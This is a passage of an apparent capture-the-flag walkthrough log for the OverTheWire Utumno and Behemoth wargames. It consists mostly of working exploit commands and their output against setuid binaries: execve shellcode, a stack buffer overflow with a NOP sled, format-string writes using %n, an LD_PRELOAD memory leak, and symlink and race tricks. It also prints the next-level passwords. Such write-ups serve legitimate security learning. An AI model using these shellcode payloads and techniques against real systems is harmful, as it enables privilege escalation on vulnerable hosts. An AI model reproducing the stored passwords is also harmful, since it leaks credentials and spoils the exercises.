        env[9]="\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x04\xde\xff\xff\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
        env[10]=NULL;
        execve("/utumno/utumno2",NULL,env);
}
utumno2@melissa$ gcc -m32 -o execve execve.c && ./execve
$ /usr/bin/whoami
utumno3
$ /bin/cat /etc/utumno_pass/utumno3
7a757564616669696e65

# Utumno wargame: Level 1

# ssh utumno1@utumno.labs.overthewire.org
utumno1@utumno.labs.overthewire.org's password:61617468616579696577

utumno1@melissa$ file /utumno/utumno1
/utumno/utumno1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno1@melissa$ mkdir /tmp/u1
utumno1@melissa$ cd !$
utumno1@melissa$ ln -s /bin/sh mysh
utumno1@melissa$ touch `perl -e 'print "sh_\x31\xc0\x99\xb0\x0b\x52\x68\x6d\x79\x73\x68\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
utumno1@melissa$ /utumno/utumno1 /tmp/u1
$ /usr/bin/whoami
utumno2
$ /bin/cat /etc/utumno_pass/utumno2
63656577616365697068

# Utumno wargame: Level 0

# ssh utumno0@utumno.labs.overthewire.org
utumno0@utumno.labs.overthewire.org's password:7574756d6e6f30

utumno0@melissa$ file /utumno/utumno0
/utumno/utumno0: setuid executable, regular file, no read permission
utumno0@melissa$ mkdir /tmp/u0
utumno0@melissa$ cd !$
utumno0@melissa$ cat hook.c
#include <stdio.h>
#include <unistd.h>

int puts(const char *s){
        char *p;
        int i;
        write(1,"Hooked: puts function\n",22);
        printf("%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x\n");
        for(i=0x80484bb-11;i<0x80484bb+11;i++){
                p=i;
                printf("%c",*p);
        }

}
utumno0@melissa$ gcc -m32 -fPIC -c hook.c -o hook.o && ld -shared -m elf_i386 -o hook.so hook.o -ldl
utumno0@melissa$ strace -s 100 -E LD_PRELOAD=./hook.so -e trace=write /utumno/utumno0
[ Process PID=11490 runs in 32 bit mode. ]
write(1, "Hooked: puts function\n", 22Hooked: puts function
) = 22
write(1, "f7fdb278-16-0-ffffd738-f7ff3f70-1-f7fdb200-ffffd7e4-f7fd0ff4-ffffd738-80483d1-80484bb\n", 86f7fdb278-16-0-ffffd738-f7ff3f70-1-f7fdb200-ffffd7e4-f7fd0ff4-ffffd738-80483d1-80484bb
) = 86
write(1, "61617468616579696577\0Read me! :P", 3261617468616579696577Read me! :P) = 32

# Behemoth wargame: Level 7

# ssh behemoth7@behemoth.labs.overthewire.org
behemoth6@behemoth.labs.overthewire.org's password:626171756f787561666f

behemoth7@melissa$ file /behemoth/behemoth7
/behemoth/behemoth7: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth7@melissa$ /behemoth/behemoth7 `perl -e 'print "A"x512 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\xeb\x0f" . "\x90"x11 . "\x04\xd5\xff\xff". "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
$ /usr/bin/whoami
behemoth8
$ /bin/cat /etc/behemoth_pass/behemoth8
7068656577696a374165

# Behemoth wargame: Level 6

# cat hellokitty.asm
BITS 32
xor eax,eax
mov byte al,0x74
mov byte ah,0x79
push eax
push long 0x74694b6f
push long 0x6c6c6548
mov ecx,esp
cdq
mov byte dl,0xa
xor ebx,ebx
mov byte bl,0x1
xor eax,eax
mov byte al,0x4
int 0x80
leave
ret
# nasm -f elf hellokitty.asm && ld -o hellokitty hellokitty.o
# od2sc hellokitty
"\x31\xc0\xb0\x74\xb4\x79\x50\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe1\x99\xb2\x0a\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xc9\xc3"
# ssh behemoth6@behemoth.labs.overthewire.org
behemoth6@behemoth.labs.overthewire.org's password:6d617969726f65636865

behemoth6@melissa$ file /behemoth/behemoth6
/behemoth/behemoth6: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth6@melissa$ file /behemoth/behemoth6_reader
/behemoth/behemoth6_reader: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth6@melissa$ mkdir /tmp/b6
behemoth6@melissa$ cd !$
behemoth6@melissa$ perl -e 'print "\x31\xc0\xb0\x74\xb4\x79\x50\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe1\x99\xb2\x0a\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xc9\xc3"' > shellcode.txt
behemoth6@melissa$ /behemoth/behemoth6
Correct.
$ /usr/bin/whoami
behemoth7
$ /bin/cat /etc/behemoth_pass/behemoth7
626171756f787561666f

# Behemoth wargame: Level 5

# ssh behemoth5@behemoth.labs.overthewire.org
behemoth5@behemoth.labs.overthewire.org's password:61697a65657368696e67

behemoth5@melissa$ file /behemoth/behemoth5
/behemoth/behemoth5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth5@melissa$ ((sleep 1; /behemoth/behemoth5) & nc -4ul 1337) 2> /dev/null
6d617969726f65636865

# Behemoth wargame: Level 4

# ssh behemoth4@behemoth.labs.overthewire.org
behemoth4@behemoth.labs.overthewire.org's password:69657468656973686569

behemoth4@melissa$ file /behemoth/behemoth4
/behemoth/behemoth4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth4@melissa$ ln -s /etc/behemoth_pass/behemoth5 /tmp/666
behemoth4@melissa$ while [ true ] ; do /behemoth/behemoth4 | grep -v "PID" ; done
Finished sleeping, fgetcing
61697a65657368696e67

# Behemoth wargame: Level 3

# ssh behemoth3@behemoth.labs.overthewire.org
behemoth3@behemoth.labs.overthewire.org's password:6e69657465696469656c

behemoth3@melissa$ file /behemoth/behemoth3
/behemoth/behemoth3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth3@melissa$ perl -e 'print "%x."x59' | /behemoth/behemoth3
Identify yourself: Welcome, c8.f7fd3440.3.f7ffd918.0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.f7fd002e.ffffd748.f7ea2cb5.f7feed80.804845b.f7fd2ff4.8048450.0.ffffd7c8.f7e89e37
behemoth3@melissa$ (perl -e 'print "\x5c\xd7\xff\xff" . "\x90"x4 . "\x5d\xd7\xff\xff" . "\x90"x4 . "\x5e\xd7\xff\xff" . "\x5f\xd7\xff\xff" . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "%x"x4 . "%91x" . "%n" . "%54x" . "%n" . "%41x" . "%n" . "%n"' ; cat) | /behemoth/behemoth3
<ENTER>
Identify yourself: Welcome, \×ÿÿ]×ÿÿ^×ÿÿ_×ÿÿ1À°
                                               Rh//shh/binãRâSáÍc8f7fd34403f7ffd918                                                                                          0                                              90909090                                 90909090
/usr/bin/whoami
behemoth4
/bin/cat /etc/behemoth_pass/behemoth4
69657468656973686569